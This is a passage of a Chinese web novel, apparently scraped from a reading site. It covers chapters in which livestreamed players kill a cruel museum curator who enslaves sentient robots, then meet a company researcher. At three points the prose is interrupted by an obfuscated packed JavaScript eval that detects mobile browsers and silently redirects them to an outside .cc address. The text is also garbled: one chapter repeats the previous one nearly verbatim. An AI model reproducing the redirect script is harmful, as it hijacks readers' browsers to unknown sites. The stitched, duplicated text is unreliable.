他们将最锋利、最轻薄、最隐蔽的武器,藏在馆长最喜爱的智械袖中,力求一击必杀。但现在,馆长最喜爱的智械毫无生气地倒在地上,他们精心准备的武器轻轻松松被折断在一旁。 岑今心中一沉——智械的暗杀计划显然是失败了,接下来该怎么推进主线任务,怎么“让博物馆重回宁静”? 她打开任务面板,发现就在刚刚这段时间里,任务进度居然还往上涨了不少: 【主线任务:让博物馆重回宁静】 【完成进度:50%】 是因为刺杀的失败,因为她的舞伴小姐的“死亡”吗? 现在他们已经知道了,智械博物馆在夜晚“苏醒”的原因,是智械在密谋一场针对馆长的暗杀行动。那么,要想让博物馆重回宁静,就会有两种方式—— 一是智械的计划成功,反杀对他们作威作福,把他们当作奴隶践踏的馆长,让博物馆成为智械宁静的自留地; 二是让智械彻底放弃反抗的念头,做馆长安分的私人藏品,让博物馆的秩序依旧按照馆长的意志平稳运行。 这次任务进度的上涨,大概就是依照第二种方式的上涨。 馆长见几人没有动作,于是施施然起身,原本跪坐在他脚边的两位智械低眉顺眼地站起来,颤抖着替他披上外袍。 他向前走去,皮鞋锃亮的鞋尖停在那一袭红裙前,而后随意地一踢,脸上带着恶劣的笑意:“其实我早就知道了。” “你们该不会真的以为,每次舞会结束后我只是待在密室、耽于享乐,看不见你们的那些小动作吧?” “对了,我好像忘了告诉你,”馆长嘲弄的眼神掠过监控智械的头顶,“博物馆监控的备份文件,会自动上传到我这里。” 监控智械猛地抬头,眼中的蓝色光圈灼灼地映出馆长的倒影。几乎是在同一个瞬间,他向前暴起,从腰间抽出一柄同样薄如纸的利刃,刃尖直指馆长的心口。 这是他们不久前报废的实验刀具,韧度差了一些,但他一直带在身上。 可是馆长只是淡淡地瞥了他一眼,连脸上的笑意都没有晃动分毫。他的手掌轻轻一挥,监控智械就像是被一股大力狠狠地推了出去,“砰”的一声撞上墙面,留下一个带着裂痕的凹陷深坑。 监控智械砸在了地上,脸上露出一个不敢置信的表情。 岑今心下一沉。果然,馆长不是普通人,他也拥有异能,而这些谋划着反杀的智械,似乎并不知道这一点。 馆长的手指在半空中游移,从监控智械手中滑落的利刃重新飘了起来,像是被一块巨大的吸铁石吸引,倏地飞到了馆长的手中。 他把薄刃对准了仍然站在门口的岑今一行人。看似亲切的话语中藏着危险的意味:“我亲爱的各位贵宾们,晚上好啊。” “我也看了监控哦。”他向后一挥手,端着酒杯的智械便在大屏上调出了一段影像,正是岑今在监控室中和监控智械对峙的画面,“我听说,你们要让博物馆重回宁静?” 岑今走上前去,直视着馆长的双眼,毫不躲闪:“是,这是我们来到这里的目的。” “正合我意。” 馆长笑了起来,他拍了拍手,层层叠叠的代码又重新铺展在大屏幕上。 路阳在后边小声地发问:“这些代码是什么意思啊?” “我学医的,代码这种东西已经都还给老师了。”林思妍小声地答,“但我看懂了这里有一个if语句。” 谈闻眯着眼,从上到下快速地扫了一遍:“大致是一串指令,敲下回车,就能实现全体智械某一模块的格式化。” 岑今多年和智能机械打交道,也能看明白个大概。她接着谈闻的话说了下去:“我猜,是情感与记忆模块。” “真聪明。”馆长点点头,语气中甚至出现了几分愉悦,“只要按下回车键,这些铁皮家伙的记忆就会归零,他们不会有爱,也不会有恨,更不会不自量力地想要反抗。” “他们会变回我最好用的工具,博物馆也会重新回归于宁静。” 馆长抚过手中的利刃,刀刃在他的手下弯曲成波浪的形状。 他看向岑今,不紧不慢地重复:“只要——按下回车键。就是这么简单。” 在很短的一个瞬间里,岑今的脑海中闪过了很多画面。 她想起智械六号愤怒地告诉她,他们从来不被允许关机休眠;想起被她拆得七零八落,却也不会喊疼的光脑智械;想起她的舞伴小姐留给她的笑容,还有拂过她裤腿的裙角;想起监控智械在诉说他们的宏愿时,虽千万人吾往矣的坚定与决绝。 但现在,他们无一例外都躺在冷冰冰的地板上,或是因为不慎闯入的她,或是因为肆无忌惮的馆长。 智械只是工具吗?还是一条条鲜活的生命? 岑今忽然很后悔,之前对阻挡他们的光脑们下了狠手。她是最该明白的,她手下的那些机械造物,不会说话,不会自主行动,但每一个都有自己独特的灵魂——更何况是有记忆、有情感、有尊严的智械呢? 馆长的笑容里是毫不掩饰的恶意。他问她:“这个方法怎么样?” 岑今于是抬眼,一字一句地给出了她的答案:“不怎么样。” “我想,还有第二种方法。”岑今笑了笑,用最温和的语调说出最凌厉的话语,“杀了你,还博物馆一个清净。” “哦?”馆长手中的利刃突然扭曲成螺旋状,卧榻边或跪或站的智械身上开始发出战栗的嗡鸣。 他的异能是【金属操控】。这样的能力,简直天然就是智械的克星。 除了孟晚仍然事不关己地站在门边,其他几人纷纷上前,与岑今并肩。 “路阳,你变成荆棘的话,最大覆盖面积是多少?”岑今一心二用,手上张开传送隧洞,吞噬冲她飞来的螺旋利刃,大脑则高速运转,推演着应对的方案。 “三四平米?我的极限了。”路阳说着,迅速在地上摊成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337174|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一片荆棘,差不多覆盖住三块半地砖。 螺旋利刃从馆长身后的传送隧洞飞出,但在离开隧洞的那一瞬间,就稳稳地停在了半空中,没法再前进分毫。 “还想用金属伤到我?”馆长摇摇头,装模作样地叹了口气,“太天真了。” 说完,卧榻边,之前为他端着酒杯的智械在电光火石间分崩离析,玻璃酒杯从他的手中坠落,啪地碎了一地。 大大小小的金属零件被隔空“捏”成尖利的形状,仿佛织成了一张密不透风的箭网,破空向众人袭来。 “谈闻,扔骰子给路阳!”岑今额角冒出了青筋,她将隧洞张到了最大,但金属零件们在半空中一个灵巧的拐弯,便避过了张开的隧洞。 众人在“箭雨”中极力辗转腾挪,姜月月凭着蛇化带来的高速移动,勉强避过了大部分,只留下几道擦伤。但其他几人都不好过,身上扎满了大大小小的金属碎片。 岑今的空间壳吞噬了细小的碎片,但挡不住大的,所以她身上扎满了大大的金属碎片。岑今飞快地点开任务面板: 【主线任务:让博物馆重回宁静】 【完成进度:51%】 果然,少了一位智械,任务进度便往上涨了一点。 谈闻面不改色地拔掉扎进了手背的几片金属,摊开满是鲜血的手掌,露出手心中的金色骰子——朝上的那一面,明晃晃地刻着一个“-3”。 “……这次运气不太好,削弱三分之一。”他重新合拢手掌,“15分钟后可以重来。” 15分钟?太久了。 谈闻不能重来,那就让她来“重来”。 岑今深吸一口气,半空中的金属碎片开始倒退,停下的骰子继续开始旋转,被拔下的金属重新插回谈闻的手背上——【时间回溯】。 她目前的极限是回到3秒之前,不长,但足够重新掷一次骰子了。 谈闻又一次拔掉手背上的金属碎片,摊开手掌,露出静止在数字“1”的骰子。 ……再来。 时间再次倒退,谈闻再一次面不改色地开始拔金属碎片。 岑今紧咬着牙,汗珠滑到了下巴上。 每发动一次时间回溯,她身体中的能量就会被消耗掉一部分,那感觉就像是饿了大半天一样,虚浮又心悸。 她的视线紧紧锁住谈闻鲜血淋漓的手掌,修长的五指张开,金色的六面骰归于静止——朝上的那一面,是久违了的数字“3”! “太好了!快扔给路阳!”岑今大喜,总算是不用继续体验挨饿的感觉了。 金色的骰子从谈闻的手心飞了出去,碎在荆棘版路阳的身上,化作星星点点的金色光芒。路阳变作的荆棘丛在瞬间扩大了数倍,几乎能覆盖三分之一的密室房间。 谈闻收回手反复看了看,有点不敢相信自己的运气怎么变这么好,今天晚上居然能连着三次都投出正数。 岑今只深藏功与名地看了他一眼,便把目光转向了嗡嗡作响的智械们。 馆长看着几人狼狈逃窜的样子,笑容更大了。他缓缓扬起手,第二次攻击正蓄势待发。 “去捆住那些智械,别让他们继续做馆长的武器库!”她冲加强荆棘版路阳喊道。 27.智械博物馆(八) 岑今能感觉到,被按在她手下的馆长,正在逐渐变得僵直。 向着门外飞去的利箭失去了控制,丁零当啷落了一地。 路阳的增幅倒计时还剩十秒,馆长的眩晕状态随时都有可能结束。她飞快地瞥了一眼任务面板: 【主线任务:让博物馆重回宁静】 【完成进度:90%】 就差最后一步,得速战速决,以免夜长梦多。 岑今垂眼,冒着电光的【雷神之锤】已经被她握在手中。 她带着姜月月向后退去,长臂一伸,携带5000V高压电的锤头不偏不倚,直捣馆长的后颈。 皮肉烧焦的滋啦声在一片寂静的房间中响起,他的五官因剧痛而在瞬间扭曲,神智在电流的刺激下恢复清明,目光重新有了焦点,眼神中却盛满了惊恐与绝望。 “嗬……嗬……”馆长喉间挤出艰涩的气声,电流烧毁了他的声带,那些狂妄的、傲慢的、轻蔑的话语,就这样被永远封存在他焦黑的喉管间。 岑今和姜月月在五六米开外,冷眼看着他一个人躺在冰冷的大理石地板上。四肢扭曲痉挛,两腿之间渗出深色的水渍。 第一次见面时居高临下地俯视他们的人,此刻却在他们的脚边失去了气息。 带着烟花特效的光屏在岑今眼前炸开: 【主线任务:让博物馆重回宁静】 【完成进度:100%】 「恭喜你完成了智械博物馆的全部体验!舞会已经落幕,在这个月圆夜,是敲下回车执行代码,还是逆流而上杀死馆长?——想必你已经做出了选择。」 岑今照例是对直播间的观众们行了个绅士礼,然后后知后觉地意识到,馆长似乎是她亲手杀死的第一个人。 弹幕很热闹,密密麻麻地刷着“完结撒花”之类的话语。她心不在焉地扫过去,问了一句:“你们说,我在副本里杀了馆长,算是杀了人吗?” 弹幕依旧飘着一模一样的“完结撒花”,没有人回答。 “岑今老师!月月老师!”路阳变回人形之后身上脏兮兮的,像只流浪小狗一样跑了过来,“收工收工!这次只打了半天工,性价比拉满,嘿嘿。” 姜月月打着哈欠:“生物钟乱了,我要补觉。” “好,收工!我们出去见,这次多休息两天。”岑今抬头笑了笑,顺便和他们击了个掌。 这两人的动作很快,手掌还没放下来,就一前一后消失在了空气中。 “我也先回去了哦,今晚运动量超标了,心脏疼。”林思妍捂心口,弱弱地走过来,和之前拿着手术刀捅智械的形象判若两人。 岑今点点头,头还没点完,林思妍也迅速地退出下线了。 这三位真是,下班第一名。 她转身看向站在卧榻边没动的谈闻:“你不走?” “之前说想把几个展厅都参观一遍的。”谈闻白皙的皮肤上凝固着大大小小的深红血渍,看久了竟有种怪诞的和谐,“要一起吗?” 岑今一愣。她本就想留下来再研究研究这个副本,没想到谈闻也有这个想法。 不过她才不信谈闻只是为了参观展厅,她也懒得和他绕弯子,于是干脆利落地问道:“你也觉得副本有问题? ” 这下换谈闻愣住了。在进入模拟舱之前,他的生活中充斥着虚与委蛇的寒暄、你来我往的算计,好像很久都没有听到过这么直截了当的问话了。 他移开眼睛,声音很轻:“嗯。” 其实上个副本结束的时候,岑今就隐隐觉得有些奇怪了。系统任务完成之后,主播们并不会被强制清退,而是可以自主退出。副本世界也没有暂停,而似乎仍然依照着原本的逻辑继续运转。 刚刚她明显是在向直播间观众发问,弹幕中却没有出现哪怕一条回答,而是停留在满屏的“完结撒花”——系统任务结束了,直播也停止了,那这个副本还会继续“演出”更多的剧情吗? 岑今没有在第一时间退出,就是为了搞清楚这个问题。另外,她也想回到二楼,去看一看那几位被她无情拆机的光脑智械,她实在是觉得有些愧对他们哥几个。 “好,那一起走吧。”她扬起一个笑,招招手示意谈闻跟上。 房间的一角,躺着变成了一堆废铁的监控智械。墙面或许是在之前的打斗中被馆长掀开了,露出内部交错的线路。他的手插进了电路接口中,被烧得焦黑。 原来之前的断电,是他用自己的躯体实现的短路。 岑今安静地看着监控智械。他的身上不止是零件的损坏,而是和之前的智械一号一样,内部的电路都完全被烧毁了。这里没有可替换的材料,她没法修好他。 监控智械的愿望,他们帮他实现了。只是可惜,他没能亲眼见证馆长的死亡。 “别看了。”谈闻的声音里听不出情绪。 “你说他这样,”岑今顿了顿,像是在斟酌着措辞,“算是死了吗?” “他还有机会被修好。”谈闻的目光落在岑今身上,他看得出她的纠结,与一点点的迷茫。 模拟舱中的体验,都太真实了。副本里出现的这些人物,每一个都有自己的故事,有独特的个性,不像是被设定好的程序,几乎与现实世界中活生生的“人”无异。 模拟舱副本,真的只是虚拟的“副本”吗? 岑今晃晃脑袋,收回了思绪,换上一种轻松的语调:“好吧,起码被压迫剥削的工人阶级智械,打倒了万恶的资本主义馆长,这是件好事。” 听到“资本主义”这个词,谈闻忽然有点心虚。 两人一起向门外走去,没想到走出两扇门,碰到了一个消失已久的人——孟晚。 “姐,你怎么在这里?”岑今面上客客气气的,心里却在想,这位姐一定有猫腻。 孟晚的眼神一如既往地带着浓浓的探寻的意味,在两人之间来回扫过。 她有些缓慢地开口道:“我没有攻击能力,需要自保。” 谈闻眯起了眼睛。 “主线任务我们已经打完了,现在应该可以退出副本了。”岑今又补了一句。 “嗯,我刚缓过来,正准备退出。” 很明显,孟晚是在说谎,但岑今是一点儿也没搞明白她这么说这么做的用意。她在副本里不出力,也不表现,存在感低到让人常常忘记她的存在,但每次对上她视线的时候,又会发现她在默默地观察每一个人。 实在是太奇怪了。 岑今叹了口气,给自己增加了一条待办事项:出去之后,打听打听孟晚的来历。 二人没有再与孟晚交谈,继续往前上了楼梯,直奔展厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346924|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在地下不辨天日地待了太久,上到一楼时,舞厅里居然已经洒下了阳光。 “又熬了个大夜……”岑今转头看向谈闻,“你选吧,先去哪个展厅?” “医疗机器人?” “走。” 走进医疗机器人展厅,这里和之前看到的服务机器人展厅一样,每一位智械都有属于自己的展位,展位前有名牌和简介,向游客们介绍这一款智械的功用与独特之处。 不过,现在这些展位都空荡荡的。没有一位智械乖乖待在属于自己的展位上,他们在展厅中走动、三三两两地交谈,面容看起来都带着相似的欣喜。 岑今想了想,拉住一位穿着护士服、拿着针筒的智械,问了它一个问题:“你们之后有什么打算?” 智械的回答相当丝滑流畅:“馆长死了,没有人会再逼着我们去做那些讨厌的事了!” 它甚至把针筒塞回了兜里,激动地握住了岑今的双手:“我的朋友们已经商量过了,我们会继续留在这座博物馆,把它变成一座真正属于智械的博物馆。我们会用我们的方式向世人介绍,智械不是被制造出来的、单纯的工具,而是人类的伙伴与知己!” “恭喜你们!”岑今用力震了震两人相握的双手,像是和战友会面。 然后她向护士服智械告别,扭头低声对谈闻说:“副本的时间线在继续往下推进。” 任务结束之后,副本仍然在正常运转。 谈闻脸上总是带着的笑意淡了,难得皱起了眉头:“不像是编写好的程序,就算是自生成的AI,似乎也没有做到这个精细度的必要。” 岑今又抓住了一位披着白大褂,双手插兜的智械,问道:“你们之后有什么打算?” “我吗?”他45度角仰头,遥遥看向窗外,“我喜欢给人看病,我想离开这里,去不同的地方,认识各种各样的病人,见识真实发生的疑难杂症——而不是数据库里的案例。” 智械们甚至有各自不同的,接下来的安排。 岑今起了一阵鸡皮疙瘩。 “我想再去二楼看看那几位光脑。”顺便试试看,能不能把他们修好。 谈闻毫无异议,两人回到了一片狼藉的二楼楼梯口,被岑今弄残疾了的几位智械仍然躺在地上。 他们的目光交织在岑今的脸上,应该也是得知了馆长被杀的消息,神情看起来十分复杂,没有一个人开口说话。 岑今聚精会神地感知着,抬手“挪动”空间。复原空间,远比破坏空间困难。她费了九牛二虎之力,终于把之前被她压扁的机械手、机械腿,拉回了三维立体的正常模样。 她扶起手脚重新健全的智械六号,还是那个问题:“你们之后有什么打算?” 六号挣开她的手,仍然有些不忿,又藏着点别扭:“先救社交机!之后的,之后再说。” 谈闻听完,摇了摇头:“我都要怀疑,我们不是进副本了,而是穿越了。” 这一切真的都太真实了。 “就像是平行世界一样。”岑今向下看去,视线落到了博物馆沉重、高大的大门上,忽然冒出了一个念头,“要不我们去博物馆外面看看?” 谈闻还没来得及开口,下一个瞬间,两人眼前的场景晃了晃,像投影息屏一样,突兀地变成了一片漆黑。 28.智械博物馆(九) 岑今能感觉到,被按在她手下的馆长,正在逐渐变得僵直。 向着门外飞去的利箭失去了控制,丁零当啷落了一地。 路阳的增幅倒计时还剩十秒,馆长的眩晕状态随时都有可能结束。她飞快地瞥了一眼任务面板: 【主线任务:让博物馆重回宁静】 【完成进度:90%】 就差最后一步,得速战速决,以免夜长梦多。 岑今垂眼,冒着电光的【雷神之锤】已经被她握在手中。 她带着姜月月向后退去,长臂一伸,携带5000V高压电的锤头不偏不倚,直捣馆长的后颈。 皮肉烧焦的滋啦声在一片寂静的房间中响起,他的五官因剧痛而在瞬间扭曲,神智在电流的刺激下恢复清明,目光重新有了焦点,眼神中却盛满了惊恐与绝望。 “嗬……嗬……”馆长喉间挤出艰涩的气声,电流烧毁了他的声带,那些狂妄的、傲慢的、轻蔑的话语,就这样被永远封存在他焦黑的喉管间。 岑今和姜月月在五六米开外,冷眼看着他一个人躺在冰冷的大理石地板上。四肢扭曲痉挛,两腿之间渗出深色的水渍。 第一次见面时居高临下地俯视他们的人,此刻却在他们的脚边失去了气息。 带着烟花特效的光屏在岑今眼前炸开: 【主线任务:让博物馆重回宁静】 【完成进度:100%】 「恭喜你完成了智械博物馆的全部体验!舞会已经落幕,在这个月圆夜,是敲下回车执行代码,还是逆流而上杀死馆长?——想必你已经做出了选择。」 岑今照例是对直播间的观众们行了个绅士礼,然后后知后觉地意识到,馆长似乎是她亲手杀死的第一个人。 弹幕很热闹,密密麻麻地刷着“完结撒花”之类的话语。她心不在焉地扫过去,问了一句:“你们说,我在副本里杀了馆长,算是杀了人吗?” 弹幕依旧飘着一模一样的“完结撒花”,没有人回答。 “岑今老师!月月老师!”路阳变回人形之后身上脏兮兮的,像只流浪小狗一样跑了过来,“收工收工!这次只打了半天工,性价比拉满,嘿嘿。” 姜月月打着哈欠:“生物钟乱了,我要补觉。” “好,收工!我们出去见,这次多休息两天。”岑今抬头笑了笑,顺便和他们击了个掌。 这两人的动作很快,手掌还没放下来,就一前一后消失在了空气中。 “我也先回去了哦,今晚运动量超标了,心脏疼。”林思妍捂心口,弱弱地走过来,和之前拿着手术刀捅智械的形象判若两人。 岑今点点头,头还没点完,林思妍也迅速地退出下线了。 这三位真是,下班第一名。 她转身看向站在卧榻边没动的谈闻:“你不走?” “之前说想把几个展厅都参观一遍的。”谈闻白皙的皮肤上凝固着大大小小的深红血渍,看久了竟有种怪诞的和谐,“要一起吗?” 岑今一愣。她本就想留下来再研究研究这个副本,没想到谈闻也有这个想法。 不过她才不信谈闻只是为了参观展厅,她也懒得和他绕弯子,于是干脆利落地问道:“你也觉得副本有问题? ” 这下换谈闻愣住了。在进入模拟舱之前,他的生活中充斥着虚与委蛇的寒暄、你来我往的算计,好像很久都没有听到过这么直截了当的问话了。 他移开眼睛,声音很轻:“嗯。” 其实上个副本结束的时候,岑今就隐隐觉得有些奇怪了。系统任务完成之后,主播们并不会被强制清退,而是可以自主退出。副本世界也没有暂停,而似乎仍然依照着原本的逻辑继续运转。 刚刚她明显是在向直播间观众发问,弹幕中却没有出现哪怕一条回答,而是停留在满屏的“完结撒花”——系统任务结束了,直播也停止了,那这个副本还会继续“演出”更多的剧情吗? 岑今没有在第一时间退出,就是为了搞清楚这个问题。另外,她也想回到二楼,去看一看那几位被她无情拆机的光脑智械,她实在是觉得有些愧对他们哥几个。 “好,那一起走吧。”她扬起一个笑,招招手示意谈闻跟上。 房间的一角,躺着变成了一堆废铁的监控智械。墙面或许是在之前的打斗中被馆长掀开了,露出内部交错的线路。他的手插进了电路接口中,被烧得焦黑。 原来之前的断电,是他用自己的躯体实现的短路。 岑今安静地看着监控智械。他的身上不止是零件的损坏,而是和之前的智械一号一样,内部的电路都完全被烧毁了。这里没有可替换的材料,她没法修好他。 监控智械的愿望,他们帮他实现了。只是可惜,他没能亲眼见证馆长的死亡。 “别看了。”谈闻的声音里听不出情绪。 “你说他这样,”岑今顿了顿,像是在斟酌着措辞,“算是死了吗?” “他还有机会被修好。”谈闻的目光落在岑今身上,他看得出她的纠结,与一点点的迷茫。 模拟舱中的体验,都太真实了。副本里出现的这些人物,每一个都有自己的故事,有独特的个性,不像是被设定好的程序,几乎与现实世界中活生生的“人”无异。 模拟舱副本,真的只是虚拟的“副本”吗? 岑今晃晃脑袋,收回了思绪,换上一种轻松的语调:“好吧,起码被压迫剥削的工人阶级智械,打倒了万恶的资本主义馆长,这是件好事。” 听到“资本主义”这个词,谈闻忽然有点心虚。 两人一起向门外走去,没想到走出两扇门,碰到了一个消失已久的人——孟晚。 “姐,你怎么在这里?”岑今面上客客气气的,心里却在想,这位姐一定有猫腻。 孟晚的眼神一如既往地带着浓浓的探寻的意味,在两人之间来回扫过。 她有些缓慢地开口道:“我没有攻击能力,需要自保。” 谈闻眯起了眼睛。 “主线任务我们已经打完了,现在应该可以退出副本了。”岑今又补了一句。 “嗯,我刚缓过来,正准备退出。” 很明显,孟晚是在说谎,但岑今是一点儿也没搞明白她这么说这么做的用意。她在副本里不出力,也不表现,存在感低到让人常常忘记她的存在,但每次对上她视线的时候,又会发现她在默默地观察每一个人。 实在是太奇怪了。 岑今叹了口气,给自己增加了一条待办事项:出去之后,打听打听孟晚的来历。 二人没有再与孟晚交谈,继续往前上了楼梯,直奔展厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356494|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在地下不辨天日地待了太久,上到一楼时,舞厅里居然已经洒下了阳光。 “又熬了个大夜……”岑今转头看向谈闻,“你选吧,先去哪个展厅?” “医疗机器人?” “走。” 走进医疗机器人展厅,这里和之前看到的服务机器人展厅一样,每一位智械都有属于自己的展位,展位前有名牌和简介,向游客们介绍这一款智械的功用与独特之处。 不过,现在这些展位都空荡荡的。没有一位智械乖乖待在属于自己的展位上,他们在展厅中走动、三三两两地交谈,面容看起来都带着相似的欣喜。 岑今想了想,拉住一位穿着护士服、拿着针筒的智械,问了它一个问题:“你们之后有什么打算?” 智械的回答相当丝滑流畅:“馆长死了,没有人会再逼着我们去做那些讨厌的事了!” 它甚至把针筒塞回了兜里,激动地握住了岑今的双手:“我的朋友们已经商量过了,我们会继续留在这座博物馆,把它变成一座真正属于智械的博物馆。我们会用我们的方式向世人介绍,智械不是被制造出来的、单纯的工具,而是人类的伙伴与知己!” “恭喜你们!”岑今用力震了震两人相握的双手,像是和战友会面。 然后她向护士服智械告别,扭头低声对谈闻说:“副本的时间线在继续往下推进。” 任务结束之后,副本仍然在正常运转。 谈闻脸上总是带着的笑意淡了,难得皱起了眉头:“不像是编写好的程序,就算是自生成的AI,似乎也没有做到这个精细度的必要。” 岑今又抓住了一位披着白大褂,双手插兜的智械,问道:“你们之后有什么打算?” “我吗?”他45度角仰头,遥遥看向窗外,“我喜欢给人看病,我想离开这里,去不同的地方,认识各种各样的病人,见识真实发生的疑难杂症——而不是数据库里的案例。” 智械们甚至有各自不同的,接下来的安排。 岑今起了一阵鸡皮疙瘩。 “我想再去二楼看看那几位光脑。”顺便试试看,能不能把他们修好。 谈闻毫无异议,两人回到了一片狼藉的二楼楼梯口,被岑今弄残疾了的几位智械仍然躺在地上。 他们的目光交织在岑今的脸上,应该也是得知了馆长被杀的消息,神情看起来十分复杂,没有一个人开口说话。 岑今聚精会神地感知着,抬手“挪动”空间。复原空间,远比破坏空间困难。她费了九牛二虎之力,终于把之前被她压扁的机械手、机械腿,拉回了三维立体的正常模样。 她扶起手脚重新健全的智械六号,还是那个问题:“你们之后有什么打算?” 六号挣开她的手,仍然有些不忿,又藏着点别扭:“先救社交机!之后的,之后再说。” 谈闻听完,摇了摇头:“我都要怀疑,我们不是进副本了,而是穿越了。” 这一切真的都太真实了。 “就像是平行世界一样。”岑今向下看去,视线落到了博物馆沉重、高大的大门上,忽然冒出了一个念头,“要不我们去博物馆外面看看?” 谈闻还没来得及开口,下一个瞬间,两人眼前的场景晃了晃,像投影息屏一样,突兀地变成了一片漆黑。 29.新队友 岑今睁开眼,就像是溺水的人终于上岸,在大脑反应过来之前,身体已经开始大口地急促呼吸。 眼前是熟悉的模拟舱内壁,她呛了两声,缓缓平复下呼吸,打开了模拟舱的舱门。 这是被强制退出了?她之前想干嘛来着? ——哦,她对谈闻说,要不去博物馆外面看看。 岑今捂着脑袋撑起身子,眼前蹦出了一连串熟悉的弹窗: 【恭喜通关副本「智械博物馆」】 【结算打赏值:34684】 【当前打赏值可兑换为17,300新币,是否兑换?】 当然选择“是”。这次多亏了林思妍的异能,她辛苦赚来的打赏值才没有被道具商店回收,收入比起上次又有了点进步。 【工资50,000新币,已到账】 【打赏值兑换17,300新币,已到账】 听着钱币落袋的声音,岑今的心情十分愉悦。入职一个礼拜不到,她已经赚了13万新币,按这个进度继续下去,还清赔偿金指日可待! 【副本完成度计算中……】 【副本完成度:100%】 【奖励特殊道具:万磁王】 「一块神奇的磁铁,可以吸附半径一米内的一切金属物质,持续时间30秒,使用间隔30分钟。」 看起来像是从馆长的异能衍生的道具,虽然限制多了点,但效果听起来还不错。 岑今起身,离开潮湿黏腻的模拟舱,坐到了客厅沙发上。这次出来,她在副本中留下的皮外伤依旧是消失得一干二净,但之前过度使用异能带来的头痛和饥饿感,却没有散去。 她试着打开传送隧洞,一眨眼的功夫,三个半透明隧洞整整齐齐在身前一字排开。 副本中异能的突破,也完整地带回现实世界了。 岑今看了看时间,这次在副本里只待了一个晚上,现在是8月25日的晚上23点。她决定放过自己,舒舒服服地洗个澡,然后好好睡一觉,什么异能进化、奇怪的孟晚、莫名被副本强制退出……都等睡醒了再来解决吧! 第二天。 早上十点,岑今准时出现在员工入职处的门口。按照之前贝拉告诉她的值班规律,她今天见到的人,应该会是凯西。 “早上好,凯西姐。”她看到一个戴金丝边眼镜的金发女人正托着脑袋,盯着显示屏冥思苦想,“我没认错吧?” “早上好,亲爱的!”女人答应着,先是把身体转了过来,然后是头,最后是眼睛,“凯西为您服务!请问需要办理什么业务?” 一回生二回熟,岑今这回直截了当地在办公台前坐了下来,还找了个舒服的姿势:“我想再重新做一次异能测定。” “没问题!很快就好。”凯西说着,摘下了眼镜。她的瞳孔变成高速旋转的冰蓝色漩涡,牢牢锁住岑今的视线。 在逐渐放大的冰蓝色中,她听见凯西的声音: “姓名:岑今。” “性别:女。” “年龄:24岁。” “异能:时空操纵。” “评级:A级,高潜。” “异能持续成长中,建议进一步观测。” 果然,她的异能又进化了,从第一次副本后B级的【空间操纵】,变成了A级的【时空操纵】。看来她每次进模拟舱前看到的片段“预告”,还有上个副本中的几次时间回溯,都是【时空操纵】带来的能力。 凯西重新戴上眼镜,瞳孔也变回了正常的模样。她看了一眼显示屏,又看了一眼还在恍惚的岑今:“三天前是B级,五天前是D级……你是这一批体验者中异能进化速度最快的。” 岑今抓住了关键信息:“这一批体验者中还有成长型异能者?” “有的哦,但还没有人完成如此显著的进化,除了你。”凯西看着她,两眼放光。 岑今有些抵挡不住这炙热的视线,正想开口,门口却传来了一道熟悉的声音: “凯西,我让你们重点关注的那个异能者——” 声音戛然而止。岑今猛地转头,看到一张熟悉的脸孔——是孟晚。 真是得来全不费工夫,她还没开始打听孟晚的消息,就这么凑巧地在这里碰上了。 孟晚穿着一身利落、合身的灰白色制服,戴着一副似乎是和HR三姐妹同款的金丝边眼镜。在副本外见到,她整个人的气质严肃又沉静,像是只在教室和实验室出没的教授。 “姐,休息的还好吗?”岑今十分自然地打了个招呼。 孟晚没有回答。她的嘴唇抿了抿,也许是想露出一个客气的微笑:“重新自我介绍一下吧,我叫孟晚,目前供职于英菲尼迪核心技术组。” “早上好,孟老师。”凯西站了起来,眼神在岑今和孟晚之间来回游移,一副欲言又止的神情。 “岑今,我们很关注你。”孟晚看出了凯西的尴尬,但她自己倒是很自在,大大方方地向岑今宣布,她就是那个被重点关注的异能者。 岑今闻言,歪了歪头:“额,谢谢你们的关注?” 她来这里上班,就是为了打工还债的。虽然现在可能还多了一个目的,想搞清楚模拟舱的运行机制。但什么高潜、什么公司重点关注,她是真的不在乎,甚至觉得听起来不是件好事。 她有她关心的问题,孟晚不会主动开口,但她可以主动发问。 “所以你进入模拟舱副本,是在考察技术落地情况吗?” “是,我需要观察。”孟晚顿了顿,“抱歉,在副本里没帮上什么忙,可能给你们拖后腿了。” 孟晚不是异能主播,而是来体验产品的科研人员,这样,她在副本里的那些古怪行径也就说得通了。 岑今同样客气地摇摇头,她还有一个问题:“艾琳、贝拉和凯西,是你创造的吗?” 凯西不知所措地看向孟晚,孟晚也明显愣了愣。 岑今眨眨眼睛,直勾勾地盯着孟晚——不是说真诚是最好的必杀技吗? 